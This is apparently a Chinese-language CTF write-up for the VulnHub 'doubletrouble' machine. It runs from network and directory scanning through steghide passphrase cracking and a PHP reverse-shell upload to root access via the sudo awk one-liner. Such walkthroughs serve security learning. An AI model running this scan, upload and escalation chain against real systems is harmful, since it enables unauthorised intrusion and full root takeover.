详细思路
- `知识点`
- 1.网段探测
- 2.nmap扫描
- 3.目录扫描
- 4.隐写
- 5.上传木马文件
- 6.awk提权
知识点
图片隐写----->steghide
密码爆破----->stegseek
awk提权------>sudo awk 'BEGIN {system("/bin/bash")}'
1.网段探测
kali:192.168.0.131
靶机：192.168.0.134
┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:10:3c:9b, IPv4: 192.168.0.131
Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.0.1 b8:3a:08:3b:f9:30 Tenda Technology Co.,Ltd.Dongguan branch
192.168.0.130 7c:b5:66:a5:f0:a5 Intel Corporate
192.168.0.134 08:00:27:45:31:d4 PCS Systemtechnik GmbH
192.168.0.128 9e:74:7d:ae:04:f7 (Unknown: locally administered)4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.8: 256 hosts scanned in 1.998 seconds (128.13 hosts/sec). 4 responded
2.nmap扫描
┌──(root㉿kali)-[~]
└─# nmap -sV -O -sC 192.168.0.134 --min-rate 10000
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-22 00:54 EST
Nmap scan report for 192.168.0.134 (192.168.0.134)
Host is up (0.0056s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 6afed61723cb90792bb12d3753974658 (RSA)
| 256 5bc468d18959d748b096f311871c08ac (ECDSA)
|_ 256 613966881d8ff1d040611e99c51a1ff4 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: qdPM | Login
MAC Address: 08:00:27:45:31:D4 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.35 seconds
开放80端口，apache服务，登陆页面，弱密码爆破无果
3.目录扫描
┌──(root㉿kali)-[~]
└─# dirsearch -u "http://192.168.0.134" -x 403,500_|. _ _ _ _ _ _|_ v0.4.3(_||| _) (/_(_|| (_| )Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460Output File: /root/reports/http_192.168.0.134/_24-02-22_00-58-27.txtTarget: http://192.168.0.134/[00:58:27] Starting:
[00:58:28] 301 - 311B - /js -> http://192.168.0.134/js/
[00:58:43] 301 - 316B - /backups -> http://192.168.0.134/backups/
[00:58:43] 200 - 407B - /backups/
[00:58:45] 200 - 0B - /check.php
[00:58:47] 301 - 313B - /core -> http://192.168.0.134/core/
[00:58:47] 301 - 312B - /css -> http://192.168.0.134/css/
[00:58:51] 200 - 894B - /favicon.ico
[00:58:54] 200 - 648B - /images/
[00:58:54] 301 - 315B - /images -> http://192.168.0.134/images/
[00:58:54] 200 - 2KB - /index.php
[00:58:55] 200 - 2KB - /index.php/login/
[00:58:55] 301 - 316B - /install -> http://192.168.0.134/install/
[00:58:55] 200 - 762B - /install/index.php?upgrade/
[00:58:55] 200 - 762B - /install/
[00:58:56] 200 - 607B - /js/
[00:59:07] 200 - 338B - /readme.txt
[00:59:08] 200 - 26B - /robots.txt
[00:59:09] 301 - 315B - /secret -> http://192.168.0.134/secret/
[00:59:09] 200 - 461B - /secret/
[00:59:14] 200 - 502B - /template/
[00:59:14] 301 - 317B - /template -> http://192.168.0.134/template/
[00:59:16] 301 - 316B - /uploads -> http://192.168.0.134/uploads/
[00:59:16] 200 - 476B - /uploads/Task Completed
在 /secret目录下，发现了一个可疑的图片（因为名字和靶机一样，可能是提示）
4.隐写
steghide 是一个用于隐藏和提取信息的命令行工具，通常用于隐写术，将数据隐藏在图像和音频文件中
需要密码，使用stegseek爆破
stegseek 是一个用于在图片中查找可能存在的隐藏信息的工具。它通过尝试不同的密码组合来解密嵌入在图像中的信息
┌──(root㉿kali)-[~/kali/vulnhub/doublerouble]
└─# stegseek doubletrouble.jpg /usr/share/wordlists/rockyou.txt -xf out
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek[i] Found passphrase: "92camaro"
[i] Original filename: "creds.txt".
[i] Extracting to "out".
┌──(root㉿kali)-[~/kali/vulnhub/doublerouble]
└─# cat out
otisrush@localhost.com
otis666 得到账号密码，登陆
5.上传木马文件
进入后台，第一时间找可以修改的php.页面或者可以上传恶意文件的地方，右上角，修改个人信息中，可以上传php文件，虽然上传后报错，但是在/uploads/user目录下，可以看到上传成功
https://www.revshells.com/
自动生成shell，很方便
反弹成功
6.awk提权
www-data@doubletrouble:/$ sudo -l
sudo -l
Matching Defaults entries for www-data on doubletrouble:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser www-data may run the following commands on doubletrouble:(ALL : ALL) NOPASSWD: /usr/bin/awk
www-data@doubletrouble:/$ sudo awk 'BEGIN {system("/bin/bash")}'
sudo awk 'BEGIN {system("/bin/bash")}'
id
uid=0(root) gid=0(root) groups=0(root)
https://gtfobins.github.io/gtfobins/awk/
